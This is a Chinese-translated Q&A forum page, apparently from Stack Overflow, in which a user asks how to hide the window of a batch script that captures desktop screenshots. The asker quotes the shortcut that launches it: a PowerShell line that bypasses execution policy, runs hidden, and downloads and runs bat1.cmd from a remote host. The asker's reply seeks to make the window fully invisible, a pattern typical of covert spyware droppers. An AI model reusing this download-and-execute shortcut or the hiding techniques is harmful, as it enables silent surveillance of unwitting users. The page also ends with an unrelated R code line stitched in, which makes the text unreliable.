(批处理脚本) - 桌面截图(功能)但无法最小化?

时间:2017-08-14 17:36:53

标签: batch-file minimized

提前感谢您的时间。

我找到/编辑了一个带有桌面截图的批处理脚本(bat1.cmd)。实际上一切都很好。这是我的完整代码= https://pastebin.com/KvqgFx5L

我唯一的要求是隐藏/最小化bat1.cmd窗口当我运行它时(在lnk内,检查" NB"在我的消息结尾处)。

我做了一些研究,经典的解决方案是使用这种脚本:

if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit

if not "%minimized%"=="" goto :minimized
set minimized=true
start /min cmd /C "%~dpnx0"
goto :EOF
:minimized

不幸的是我的批处理脚本(bat1.cmd)有特殊参数,不允许(?)添加这种"最小化"脚本(我试图将它添加到顶部,脚本等内部,但没有任何工作)。

注意:批处理脚本(bat1.cmd)是在一个shortcurt(bat1.lnk)中下载/运行的,但是在lnk中添加最小化的参数不会使bat1.cmd窗口最小化(我想?/我做了检验)。

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -w hidden ; (New-Object System.Net.WebClient).DownloadFile('http://host.com/bat1.cmd','%APPDATA%\bat1.cmd');Start('%APPDATA%\bat1.cmd');

提前感谢您的帮助。

1 个答案:

答案 0 :(得分:0)

好的,我找到了解决方案。在以下位置添加“最小化”代码:batch @echo off。我想这没关系?窗口仍然显示0.1秒,然后最小化。 任何使其完全隐藏的方式?我已经缩小了窗口大小列/行。我想知道我们是否可以改变窗口位置(没有第三方工具)?

C <- ifelse(A == B, 1, 0)